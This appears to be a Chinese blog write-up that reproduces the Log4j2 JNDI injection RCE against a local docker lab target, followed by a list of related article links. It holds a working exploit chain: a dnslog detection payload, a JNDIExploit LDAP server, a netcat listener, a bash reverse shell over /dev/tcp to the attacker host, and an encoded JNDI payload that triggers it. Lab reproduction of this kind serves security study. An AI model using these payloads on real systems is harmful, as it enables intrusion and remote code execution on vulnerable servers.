Apache-Log4j2-Rce漏洞复现
最近最热门的无非是最近爆出的超大boss—Apache log4j2组件的rce漏洞。安全圈俗称'过年',漏洞影响范围之广,危害之大堪比当年的永恒之蓝。由于最近爆出,危害程度目前还正在不断扩大中。超多的大佬已经复现了,那么作为网络安全的小白,不复现一下就是对不起自己。!!!
Apache log4j介绍
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面开始复现
1,首先搭建靶场:
使用docker环境搭建靶场,应该说是最最方便的了。至于docker环境的安装这里就不用我多讲了。
拉取镜像:
docker pull vulfocus/log4j2-rce-2021-12-09
root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09
Using default tag: latest
latest: Pulling from vulfocus/log4j2-rce-2021-12-09
7b1a6ab2e44d: Pull complete
137d0593639e: Pull complete
4f4fb700ef54: Pull complete
830718d01660: Pull complete
a08ba33271e9: Pull complete
f26156a19734: Pull complete
Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982
Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest
docker.io/vulfocus/log4j2-rce-2021-12-09:latest
启动docker容器:
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311
访问:ip:38080即可。出现如下页面表示靶机搭建完成。

2,dnslog检测漏洞存在:
访问存在漏洞页面:http://192.168.145.128:38080/hello,抓包。
漏洞存在点在payload参数,payload格式为:${jndi:ldap://xxx.dnslog.cn/exp}
注意,这时把get请求改为post,同时添加请求头:Content-Type:application/x-www-form-urlencoded

刷新dnslog.cn:

发现dnslog.cn记录,说明存在log4j2-rce漏洞。
3,反弹Shell:以下操作均在攻击机上(192.168.145.142)
使用JNDIExploit-1.2-SNAPSHOT.jar搭建恶意的jndi服务。这里我们使用的是ldap的1389端口
┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2]
└─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
开启nc监听
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。
反弹shell paylaod:
bash -i >& /dev/tcp/192.168.145.142/8888 0>&1
进行base64编码然后两次url编码:(看情况,有时可能只需要url编码一次,有时需要url编码2次,也有可能不需要url编码,看1389端口返回执行的具体command命令到底是多少,然后决定怎么进行编码。在最终的command命令下,必须要解析为正确的反弹shell命令,如下,如果解析失败的话,会提示Exception: Incorrect params:错误,这个时候需要修改url编码让它能够正确解析。)
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx

最终payload为:
${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}
在burp里面,如果不成功,就把这个参数进行url全编码,在此发送,url全编码还是比较好用的。
发送数据包,触发漏洞,反弹shell:有可能会等待时间较久,需要有耐心。

完毕。
Apache-Log4j2-Rce漏洞复现的更多相关文章
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现
CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...
- Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...
- Apache Tomcat Ajp-CVE-2020-1938漏洞复现
环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009 ...
- Solr 8.2.0最新RCE漏洞复现
漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- CVE-2019-5475:Nexus2 yum插件RCE漏洞复现
0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...
随机推荐
- 数据库定时备份linux篇
目录 1 序言 2 crond 相关知识点 2.1 crond 是什么? 2.2 crontab 进行定时任务设置 2.2.1 crontab 指令选项说明 2.2.2 crontab 指令使用格式 ...
- 2022-08-20:给定区间的范围[xi,yi],xi<=yi,且都是正整数, 找出一个坐标集合set,set中有若干个数字, set要和每个给定的区间,有交集。 求set的最少需要几个数。 比如给
2022-08-20:给定区间的范围[xi,yi],xi<=yi,且都是正整数, 找出一个坐标集合set,set中有若干个数字, set要和每个给定的区间,有交集. 求set的最少需要几个数. ...
- pandas 数据处理 一些常用操作
读取csv文件,打印列名称: import pandas as pd # data = pd.read_csv("guba_fc_result_20230413.csv") dat ...
- Linux搭建FTP服务
欢迎来到千汐 博客名称:千秋云染博客网址:https://www.cnblogs.com/skyrainmom 寄语:在混乱不堪的世界里你只管前行,时间替会证明一切 world cookie He ...
- Python基础 - 第一个python程序
Python程序是什么? Python源程序就是一个特殊格式的文本文件,可以使用任意文本编辑器软件做python的开发,python的文件扩展名为 .py 执行python程序的三种方式 直接调用解释 ...
- # 代码随想录算法训练营Day28 回溯算法|93.复原IP地址 78.子集 90.子集II
代码随想录算法训练营 93.复原IP地址 题目链接:93.复原IP地址 给定一个只包含数字的字符串,复原它并返回所有可能的 IP 地址格式. 有效的 IP 地址 正好由四个整数(每个整数位于 0 到 ...
- Anaconda入门使用指南(二)
Anaconda 安装完成,在 bin 子目录下( $PREFIX/bin )可以看到该发行版本预装好的 conda.python.pip.jupyter,以及一些常用的工具. Python环境管理 ...
- Handler机制实现原理总结
Handler一般用于线程间通信,如常用的子线程使用handler让主线程更新UI.那么这是怎么实现的呢? 我们先把这个大问题分解成多个小问题: post();postDelayed();sendMe ...
- Gitlab版本升级
Gitlab docker部署命令 docker run -d -p 8443:443 -p 30080:80 -p 9444:22 --name gitlab --restart always \ ...
- 如何通过数据warehouse更好地支持团队管理
目录 引言 数据仓库是企业进行数据分析和决策的重要工具之一,能够帮助企业快速.准确地存储.管理和分析海量数据.但是,由于数据仓库系统的复杂性和广泛应用,如何通过数据 warehouse 更好地支持团队 ...